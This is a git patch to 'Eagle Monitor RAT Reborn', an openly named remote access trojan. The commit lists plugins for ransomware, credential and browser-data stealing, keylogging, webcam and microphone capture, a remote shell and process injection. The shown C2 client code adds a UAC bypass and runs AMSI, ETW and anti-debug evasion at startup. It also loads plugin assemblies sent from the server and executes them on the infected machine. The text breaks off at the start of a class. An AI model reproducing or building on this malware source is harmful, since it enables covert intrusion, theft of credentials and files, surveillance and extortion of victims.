From 754b208e3d20a6c2473e9e5c5153a69b6629bc9a Mon Sep 17 00:00:00 2001 From: Arsium Date: Mon, 12 Dec 2022 14:25:27 +0100 Subject: [PATCH] 3.2.4.0 * [New][Client] BypassUAC * [New] Added TCP Connection view * [Tweaks][UI] Optimization (imagelist, tabcontrol...) * [New] Added total clients on main UI * [Fix] Some logs could cause crash/be not displayed * [Tweaks] Optimization for PacketHandler (methods full static) * [Tweaks] Optimization for ClientHandler (methods full static) * [Tweaks] Optimization for ServerHandler (methods full static) --- Remote Access Tool/C2/client.cs | 191 ++-- ...amework,Version=v4.5.AssemblyAttributes.cs | 1 - .../Release/C2.csproj.AssemblyReference.cache | Bin 5388 -> 5696 bytes .../Release/C2.csproj.CoreCompileInputs.cache | 2 +- Remote Access Tool/C2/obj/Release/C2.exe | Bin 12800 -> 12800 bytes Remote Access Tool/C2/obj/Release/C2.pdb | Bin 34304 -> 34304 bytes .../DesignTimeResolveAssemblyReferences.cache | Bin 203 -> 132 bytes .../Builder/StubBuilder.cs | 55 +- .../Controls/ClientForm.Designer.cs | 406 ++++++-- .../Controls/ClientForm.cs | 910 ++++++++++-------- .../Controls/ClientForm.resx | 15 + .../Controls/ClientForm.zip | Bin 0 -> 9551 bytes .../Controls/MainForm.Designer.cs | 224 +++-- .../Controls/MainForm.cs | 104 +- .../Controls/MainForm.resx | 3 + .../Controls/Utils.cs | 45 +- .../Eagle Monitor RAT Reborn.csproj | 18 +- .../Logo/eagle256x256.png | Bin 0 -> 40440 bytes .../Eagle Monitor RAT Reborn/Misc/Utils.cs | 3 +- .../Network/ClientHandler.cs | 485 +++++----- .../Network/NetworkBackup.zip | Bin 0 -> 6547 bytes .../Network/PacketHandler.cs | 190 ++-- .../Network/ServerHandler.cs | 66 +- .../Network/SocketHandler/ChatHandler.cs | 26 + .../Network/SocketHandler/KeyloggerHandler.cs | 26 + .../SocketHandler/RemoteDesktopHandler.cs | 31 + .../SocketHandler/RemoteMicrophoneHandler.cs | 40 + .../SocketHandler/RemoteShellHandler.cs | 26 + .../SocketHandler/RemoteWebCamHandler.cs | 29 + .../Audio/RemoteAudioCapturePacketHandler.cs | 46 +- .../Audio/RemoteAudioPacketHandler.cs | 27 +- .../Client/ConnectedPacketHandler.cs | 58 +- .../Desktop/RemoteViewerPacketHandler.cs | 43 +- .../File/DeleteFilePacketHandler.cs | 28 +- .../PacketHandler/File/DisksPacketHandler.cs | 27 +- .../File/DownloadFilePacketHandler.cs | 115 +-- .../File/FileManagerPacketHandler.cs | 14 +- .../File/ShortCutFileManagersPacketHandler.cs | 18 +- .../Miscellaneous/ChatPacketHandler.cs | 13 +- .../Miscellaneous/InformationPacketHandler.cs | 28 +- .../KeylogOfflinePacketHandler.cs | 4 +- .../Miscellaneous/KeylogPacketHandler.cs | 4 +- .../NetworkInformationPacketHandler.cs | 39 + .../Process/ProcessKillerPacketHandler.cs | 4 +- .../Process/ProcessManagerPacketHandler.cs | 8 +- .../Process/ResumeProcessPacketHandler.cs | 4 +- .../Process/SuspendProcessPacketHandler.cs | 4 +- ...mareEncryptionConfirmationPacketHandler.cs | 2 +- .../Recovery/AutofillPacketHandler.cs | 16 +- .../Recovery/HistoryPacketHandler.cs | 16 +- .../Recovery/KeywordsPacketHandler.cs | 16 +- .../Recovery/PasswordsPacketHandler.cs | 16 +- .../Shell/RemoteShellStdOutPacketHandler.cs | 15 +- .../Shell/RemoteStartShellPacketHandler.cs | 20 +- .../UAC/DeleteRestorePointPacketHandler.cs | 6 +- .../UAC/RestorePointPacketHandler.cs | 8 +- .../RemoteCameraCapturePacketHandler.cs | 24 +- .../Webcam/RemoteCameraPacketHandler.cs | 37 +- .../Properties/AssemblyInfo.cs | 4 +- .../Properties/Resources.Designer.cs | 20 + .../Properties/Resources.resx | 6 + .../Resources/icons8_electronics.ico | Bin 0 -> 4760 bytes .../Resources/icons8_ethernet_on.ico | Bin 0 -> 3324 bytes .../DesignTimeResolveAssemblyReferences.cache | Bin 81046 -> 24251 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 13867 -> 14011 bytes .../Eagle Monitor RAT Reborn (x32).exe | Bin 1758720 -> 1773568 bytes ... RAT Reborn.csproj.AssemblyReference.cache | Bin 9121 -> 19770 bytes ... RAT Reborn.csproj.CoreCompileInputs.cache | 2 +- ...r RAT Reborn.csproj.GenerateResource.cache | Bin 3813 -> 3907 bytes ..._RAT_Reborn.Properties.Resources.resources | Bin 998898 -> 1007594 bytes .../Properties.Resources.Designer.cs.dll | Bin 13824 -> 14336 bytes .../DesignTimeResolveAssemblyReferences.cache | Bin 83787 -> 83787 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 16247 -> 16441 bytes .../Eagle Monitor RAT Reborn (x64).exe | Bin 1758208 -> 1772032 bytes ... RAT Reborn.csproj.AssemblyReference.cache | Bin 9121 -> 9121 bytes ... RAT Reborn.csproj.CoreCompileInputs.cache | 2 +- ...tor RAT Reborn.csproj.FileListAbsolute.txt | 4 +- ...r RAT Reborn.csproj.GenerateResource.cache | Bin 3813 -> 3907 bytes ..._RAT_Reborn.Properties.Resources.resources | Bin 998898 -> 1007594 bytes .../Properties.Resources.Designer.cs.dll | Bin 13824 -> 14336 bytes Remote Access Tool/Eagle Monitor RAT.sln | 20 +- .../Plugins/Admin/ClientHandler.cs | 2 +- Remote Access Tool/Plugins/Admin/Launch.cs | 10 +- .../Plugins/Admin/Properties/AssemblyInfo.cs | 4 +- .../Admin.csproj.AssemblyReference.cache | Bin 1884 -> 3966 bytes .../Admin.csproj.CoreCompileInputs.cache | 2 +- .../Plugins/Admin/obj/Release/Admin.dll | Bin 10240 -> 10240 bytes .../Plugins/AudioRecording/ClientHandler.cs | 6 +- .../Plugins/AudioRecording/Helpers.cs | 2 +- .../Plugins/AudioRecording/Launch.cs | 10 +- .../AudioRecording/Properties/AssemblyInfo.cs | 4 +- ...ioRecording.csproj.AssemblyReference.cache | Bin 3086 -> 5870 bytes ...ioRecording.csproj.CoreCompileInputs.cache | 2 +- .../obj/Release/AudioRecording.dll | Bin 249856 -> 250368 bytes ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes Remote Access Tool/Plugins/Chat/ChatForm.cs | 4 +- .../Plugins/Chat/ClientHandler.cs | 4 +- Remote Access Tool/Plugins/Chat/Launch.cs | 4 +- .../Plugins/Chat/Properties/AssemblyInfo.cs | 4 +- .../Chat.csproj.AssemblyReference.cache | Bin 3424 -> 7421 bytes .../Chat.csproj.CoreCompileInputs.cache | 2 +- .../Plugins/Chat/obj/Release/Chat.dll | Bin 1574912 -> 1575424 bytes ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 6618 -> 6592 bytes .../Plugins/FileManager/ClientHandler.cs | 2 +- .../FileManager/DownloadClientHandler.cs | 12 +- .../Plugins/FileManager/Launch.cs | 42 +- .../FileManager/Properties/AssemblyInfo.cs | 4 +- ...FileManager.csproj.AssemblyReference.cache | Bin 1750 -> 4236 bytes ...FileManager.csproj.CoreCompileInputs.cache | 2 +- .../FileManager/obj/Release/FileManager.dll | Bin 15360 -> 15360 bytes Remote Access Tool/Plugins/Hardware/Launch.cs | 2 +- .../Hardware/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...0DAEC6.costura.hookhardware.dll.compressed | Bin 0 -> 3225 bytes .../Hardware.csproj.AssemblyReference.cache | Bin 3068 -> 6852 bytes .../Hardware.csproj.CoreCompileInputs.cache | 2 +- .../Plugins/Hardware/obj/Release/Hardware.dll | Bin 43520 -> 44544 bytes .../Plugins/Information/ClientHandler.cs | 2 +- .../Plugins/Information/Helpers.cs | 59 +- .../Plugins/Information/Imports.cs | 75 ++ .../Plugins/Information/Information.csproj | 2 + .../Plugins/Information/Launch.cs | 54 +- .../Plugins/Information/NetworkInformation.cs | 83 ++ .../Information/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...51BD6628A.costura.packetlib.dll.compressed | Bin 0 -> 31354 bytes .../DesignTimeResolveAssemblyReferences.cache | Bin 341 -> 341 bytes ...Information.csproj.AssemblyReference.cache | Bin 4657 -> 7564 bytes ...Information.csproj.CoreCompileInputs.cache | 2 +- .../Information/obj/Release/Information.dll | Bin 407552 -> 411136 bytes .../Plugins/Keylogger/ClientHandler.cs | 4 +- .../Plugins/Keylogger/Launch.cs | 8 +- .../Keylogger/Properties/AssemblyInfo.cs | 4 +- .../Keylogger.csproj.AssemblyReference.cache | Bin 1750 -> 4008 bytes .../Keylogger.csproj.CoreCompileInputs.cache | 2 +- .../Keylogger/obj/Release/Keylogger.dll | Bin 12288 -> 12288 bytes .../Plugins/MemoryExecution/Launch.cs | 16 +- .../Properties/AssemblyInfo.cs | 4 +- ...ryExecution.csproj.AssemblyReference.cache | Bin 1750 -> 3953 bytes ...ryExecution.csproj.CoreCompileInputs.cache | 2 +- .../obj/Release/MemoryExecution.dll | Bin 30208 -> 30208 bytes .../Plugins/Miscellaneous/Launch.cs | 8 +- .../Miscellaneous/Properties/AssemblyInfo.cs | 4 +- ...scellaneous.csproj.AssemblyReference.cache | Bin 1750 -> 4236 bytes ...scellaneous.csproj.CoreCompileInputs.cache | 2 +- .../obj/Release/Miscellaneous.dll | Bin 12288 -> 12288 bytes .../Offline/Keylogger/ClientHandler.cs | 2 +- .../Plugins/Offline/Offline.csproj | 5 + .../Offline/Properties/AssemblyInfo.cs | 4 +- .../Plugins/Offline/Special/AMSI.cs | 7 +- .../Plugins/Offline/Special/AntiDBG.cs | 6 +- .../Plugins/Offline/Special/COM.cs | 59 ++ .../Offline/Special/Commons/Delegates.cs | 145 +++ .../Offline/Special/Commons/Interfaces.cs | 33 + .../Offline/Special/Commons/Structures.cs | 13 + .../Offline/Special/DelegatesHandling.cs | 69 ++ .../Plugins/Offline/Special/ETW.cs | 10 +- .../Plugins/Offline/Special/PEB.cs | 137 +++ .../Plugins/Offline/Special/PEFromPEB.cs | 26 +- .../Plugins/Offline/Special/Parser.cs | 22 +- ...gnTimeResolveAssemblyReferencesInput.cache | Bin 6521 -> 6505 bytes .../Release/Interop.IWshRuntimeLibrary.dll | Bin 37376 -> 37376 bytes .../Offline.csproj.AssemblyReference.cache | Bin 1884 -> 5168 bytes .../Offline.csproj.CoreCompileInputs.cache | 2 +- .../Plugins/Offline/obj/Release/Offline.dll | Bin 38912 -> 43520 bytes .../Plugins/PowerManager/Launch.cs | 2 +- .../PowerManager/Properties/AssemblyInfo.cs | 4 +- ...owerManager.csproj.AssemblyReference.cache | Bin 1750 -> 3222 bytes ...owerManager.csproj.CoreCompileInputs.cache | 2 +- .../PowerManager/obj/Release/PowerManager.dll | Bin 9728 -> 9728 bytes .../Plugins/ProcessManager/ClientHandler.cs | 2 +- .../Plugins/ProcessManager/Launch.cs | 26 +- .../ProcessManager/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...cessManager.csproj.AssemblyReference.cache | Bin 2912 -> 6548 bytes ...cessManager.csproj.CoreCompileInputs.cache | 2 +- .../obj/Release/ProcessManager.dll | Bin 55296 -> 56320 bytes .../Plugins/Ransomware/ClientHandler.cs | 2 +- .../Plugins/Ransomware/Launch.cs | 6 +- .../Ransomware/Operation/ActionEncryption.cs | 2 +- .../Ransomware/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes .../Ransomware.csproj.AssemblyReference.cache | Bin 4386 -> 8964 bytes .../Ransomware.csproj.CoreCompileInputs.cache | 2 +- .../Ransomware/obj/Release/Ransomware.dll | Bin 437248 -> 438272 bytes .../Plugins/RemoteCamera/ClientHandler.cs | 8 +- .../Plugins/RemoteCamera/Helpers.cs | 2 +- .../Plugins/RemoteCamera/Launch.cs | 10 +- .../RemoteCamera/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...emoteCamera.csproj.AssemblyReference.cache | Bin 4758 -> 9422 bytes ...emoteCamera.csproj.CoreCompileInputs.cache | 2 +- .../RemoteCamera.csproj.Fody.CopyLocal.cache | 6 +- .../RemoteCamera/obj/Release/RemoteCamera.dll | Bin 96768 -> 97792 bytes .../Plugins/RemoteDesktop/ClientHandler.cs | 4 +- .../Plugins/RemoteDesktop/Launch.cs | 6 +- .../RemoteDesktop/Properties/AssemblyInfo.cs | 4 +- ...moteDesktop.csproj.AssemblyReference.cache | Bin 1750 -> 4236 bytes ...moteDesktop.csproj.CoreCompileInputs.cache | 2 +- .../obj/Release/RemoteDesktop.dll | Bin 14848 -> 14848 bytes .../Plugins/RemoteShell/ClientHandler.cs | 10 +- .../Plugins/RemoteShell/Launch.cs | 4 +- .../RemoteShell/Properties/AssemblyInfo.cs | 4 +- .../Plugins/RemoteShell/ShellHander.cs | 2 +- ...RemoteShell.csproj.AssemblyReference.cache | Bin 1884 -> 3651 bytes ...RemoteShell.csproj.CoreCompileInputs.cache | 2 +- .../RemoteShell.csproj.FileListAbsolute.txt | 2 - .../RemoteShell/obj/Release/RemoteShell.dll | Bin 12800 -> 12800 bytes .../Plugins/ScreenLocker/Launch.cs | 2 +- .../ScreenLocker/Properties/AssemblyInfo.cs | 4 +- ...5217E9FF8.costura.packetlib.dll.compressed | Bin 0 -> 31395 bytes ...CE29EBEDA.costura.packetlib.dll.compressed | Bin 0 -> 31379 bytes ...853964408.costura.packetlib.dll.compressed | Bin 0 -> 31377 bytes ...0DAEC6.costura.hookhardware.dll.compressed | Bin 0 -> 3225 bytes ...creenLocker.csproj.AssemblyReference.cache | Bin 3068 -> 6852 bytes ...creenLocker.csproj.CoreCompileInputs.cache | 2 +- .../ScreenLocker/obj/Release/ScreenLocker.dll | Bin 48640 -> 49152 bytes .../Plugins/Stealer/ClientHandler.cs | 2 +- Remote Access Tool/Plugins/Stealer/Launch.cs | 34 +- .../Stealer/Properties/AssemblyInfo.cs | 4 +- .../Stealer.csproj.AssemblyReference.cache | Bin 1750 -> 4739 bytes .../Stealer.csproj.CoreCompileInputs.cache | 2 +- .../Plugins/Stealer/obj/Release/Stealer.dll | Bin 112640 -> 112640 bytes .../HookHardware/Properties/AssemblyInfo.cs | 4 +- .../HookHardware/bin/Release/HookHardware.dll | Bin 7680 -> 0 bytes ...ookHardware.csproj.AssemblyReference.cache | Bin 655 -> 2344 bytes .../HookHardware/obj/Release/HookHardware.dll | Bin 7680 -> 7680 bytes .../Utils/PacketLib/Interface/IPacket.cs | 14 +- .../Utils/PacketLib/LoadingAPI.cs | 8 +- .../Packet/Audio/RemoteAudioCapturePacket.cs | 18 +- .../Packet/Audio/RemoteAudioPacket.cs | 20 +- .../PacketLib/Packet/Client/BaseIpPacket.cs | 18 +- .../PacketLib/Packet/Client/ClosePacket.cs | 16 +- .../Packet/Client/ConnectedPacket.cs | 18 +- .../Packet/Client/UninstallPacket.cs | 16 +- .../Packet/Desktop/RemoteKeyboardPacket.cs | 16 +- .../Packet/Desktop/RemoteMousePacket.cs | 16 +- .../Packet/Desktop/RemoteViewerPacket.cs | 20 +- .../PacketLib/Packet/File/DeleteFilePacket.cs | 20 +- .../Utils/PacketLib/Packet/File/DiskPacket.cs | 20 +- .../Packet/File/DownloadFilePacket.cs | 20 +- .../Packet/File/FileManagerPacket.cs | 20 +- .../PacketLib/Packet/File/RenameFilePacket.cs | 22 +- .../Packet/File/ShortCutFileManagersPacket.cs | 20 +- .../PacketLib/Packet/File/StartFilePacket.cs | 16 +- .../PacketLib/Packet/File/UploadFilePacket.cs | 20 +- .../Packet/Miscellaneous/InformationPacket.cs | 20 +- .../Miscellaneous/KeylogOfflinePacket.cs | 18 +- .../Packet/Miscellaneous/KeylogPacket.cs | 24 +- .../Miscellaneous/MemoryExecutionPacket.cs | 16 +- .../Miscellaneous/MiscellaneousPacket.cs | 16 +- .../Miscellaneous/NetworkInformationPacket.cs | 64 ++ .../Packet/Miscellaneous/OpenUrlPacket.cs | 16 +- .../Packet/Miscellaneous/PowerPacket.cs | 16 +- .../Packet/Miscellaneous/RemoteChatPacket.cs | 18 +- .../Miscellaneous/RemoteCodeExecution.cs | 16 +- .../Miscellaneous/ScreenRotationPacket.cs | 16 +- .../Packet/Miscellaneous/WallPaperPacket.cs | 16 +- .../Utils/PacketLib/Packet/PacketType.cs | 1 + .../Packet/Process/ProcessInjectionPacket.cs | 16 +- .../Packet/Process/ProcessKillerPacket.cs | 20 +- .../Packet/Process/ProcessManagerPacket.cs | 20 +- .../Packet/Process/ResumeProcessPacket.cs | 20 +- .../Packet/Process/SuspendProcessPacket.cs | 20 +- .../RansomwareConfirmationPacket.cs | 18 +- .../Ransomware/RansomwareDecryptionPacket.cs | 16 +- .../Ransomware/RansomwareEncryptionPacket.cs | 18 +- .../Packet/Recovery/AutofillPacket.cs | 20 +- .../Packet/Recovery/HistoryPacket.cs | 20 +- .../Packet/Recovery/KeywordsPacket.cs | 20 +- .../Packet/Recovery/PasswordsPacket.cs | 20 +- .../Packet/Recovery/RecoveryPacket.cs | 16 +- .../Shell/NewCommandShellSessionPacket.cs | 16 +- .../Packet/Shell/StartShellSessionPacket.cs | 16 +- .../Packet/Shell/StdOutShellSessionPacket.cs | 16 +- .../Packet/Shell/StopShellSessionPacket.cs | 16 +- .../Packet/UAC/AskAdminRightsPacket.cs | 16 +- .../Packet/UAC/DeleteRestorePointPacket.cs | 20 +- .../Packet/UAC/RestorePointPacket.cs | 20 +- .../WebCam/RemoteCameraCapturePacket.cs | 18 +- .../Packet/WebCam/RemoteCameraPacket.cs | 20 +- .../Utils/PacketLib/PacketLib.csproj | 1 + .../PacketLib/Properties/AssemblyInfo.cs | 4 +- .../PacketLib.csproj.AssemblyReference.cache | Bin 929 -> 3664 bytes .../PacketLib.csproj.CoreCompileInputs.cache | 2 +- .../PacketLib.csproj.FileListAbsolute.txt | 6 +- .../Utils/PacketLib/obj/Release/PacketLib.dll | Bin 78848 -> 80896 bytes 302 files changed, 3501 insertions(+), 2312 deletions(-) create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Logo/eagle256x256.png create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_electronics.ico create mode 100644 Remote Access Tool/Eagle Monitor RAT Reborn/Resources/icons8_ethernet_on.ico create mode 100644 Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Chat/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Chat/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Hardware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Hardware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Hardware/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed create mode 100644 Remote Access Tool/Plugins/Information/Imports.cs create mode 100644 Remote Access Tool/Plugins/Information/NetworkInformation.cs create mode 100644 Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Information/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Information/obj/Release/Costura/96685BD6896DD6A7306053E3A5B8ED351BD6628A.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Offline/Special/COM.cs create mode 100644 Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs create mode 100644 Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs create mode 100644 Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs create mode 100644 Remote Access Tool/Plugins/Offline/Special/PEB.cs create mode 100644 Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ProcessManager/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/Ransomware/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed create mode 100644 Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed delete mode 100644 Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll create mode 100644 Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs diff --git a/Remote Access Tool/C2/client.cs b/Remote Access Tool/C2/client.cs index abfdae44..0c527372 100644 --- a/Remote Access Tool/C2/client.cs +++ b/Remote Access Tool/C2/client.cs @@ -8,12 +8,14 @@ using System.Net.Sockets; using System.IO.Compression; using System.Collections.Generic; +using System.Security.Principal; //[assembly: System.Reflection.AssemblyVersion("1.0.0.1")] //[assembly: System.Reflection.AssemblyFileVersion("1.0.0.1")] //[assembly: System.Reflection.AssemblyTitle("%Client%")] //[assembly: System.Reflection. AssemblyDescription("%Description")] -[assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] -[assembly: ComVisible(false)] +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] +//[assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] +//[assembly: ComVisible(false)] //[assembly: System.Reflection.AssemblyProduct("%Product%")] //[assembly: System.Reflection.AssemblyCopyright("%Copyright%")] //[assembly: System.Reflection.AssemblyTrademark("%Trademark%")] @@ -33,6 +35,7 @@ public static class Config public static bool blockAMSI = false; public static bool erasePEFromPEB = false; public static bool antiDBG = false; + public static bool bypassUAC = false; } public class StarterClass { @@ -112,12 +115,23 @@ internal static void StartOfflineKeylogger() internal static ClientHandler clientHandler; + internal static bool IsAdmin() + { + return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + [MTAThread] public static void Main() { + if (Config.bypassUAC && IsAdmin() == false) + { + Offline.Special.Parser.Parse(false, false, false, false, true); + NtTerminateProcess((IntPtr)(-1), 0); + } + Offline.Special.Parser.Parse(Config.blockAMSI, Config.blockETW, Config.erasePEFromPEB, Config.antiDBG); - MakeInstall(); OneInstance(); + MakeInstall(); clientHandler = new ClientHandler(); StartOfflineKeylogger(); @@ -128,7 +142,7 @@ public static void Main() Config.hosts.Add(new Host(sp[0], sp[1])); } - clientHandler.ConnectStart(); + ClientHandler.StartConnect(clientHandler); new Thread(new ThreadStart(() => { while (true) @@ -146,21 +160,21 @@ public static void MakeInstall() internal static class PacketHandler { - internal delegate void PluginDelegate(IPacket packet); - internal static PluginDelegate pluginDelegate; + private delegate void LoadPluginAsync(IPacket packet); + private static LoadPluginAsync loadPluginAsync; static PacketHandler() { - pluginDelegate = new PluginDelegate(LoadPlugin); + loadPluginAsync = new LoadPluginAsync(LoadPlugin); } - internal static void ParsePacket(IPacket packet) + internal static void HandlePacket(IPacket packet) { try { - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.CONNECTED: - StarterClass.clientHandler.baseIp = packet.baseIp; + StarterClass.clientHandler.baseIp = packet.BaseIp; break; case (PacketType.CLOSE_CLIENT): @@ -172,7 +186,7 @@ internal static void ParsePacket(IPacket packet) break; default: - pluginDelegate.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null); + loadPluginAsync.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null); break; } @@ -180,118 +194,119 @@ internal static void ParsePacket(IPacket packet) catch { } } - internal static void LoadPlugin(IPacket packet) + private static void LoadPlugin(IPacket packet) { - System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.plugin)); + System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.Plugin)); System.Reflection.MethodInfo method = assemblytoload.GetType("Plugin.Launch").GetMethod("Main"); object obj = assemblytoload.CreateInstance(method.Name); LoadingAPI loadingAPI = new LoadingAPI { - host = StarterClass.clientHandler.host, - baseIp = StarterClass.clientHandler.baseIp, + Host = StarterClass.clientHandler.host, + BaseIp = StarterClass.clientHandler.baseIp, HWID = StarterClass.clientHandler.HWID, - key = Config.generalKey, - currentPacket = packet, + Key = Config.generalKey, + CurrentPacket = packet, }; method.Invoke(obj, new object[] { loadingAPI }); } - public static void EndLoadPlugin(IAsyncResult ar) + private static void EndLoadPlugin(IAsyncResult ar) { - pluginDelegate.EndInvoke(ar); + loadPluginAsync.EndInvoke(ar); } } } internal class ClientHandler { + 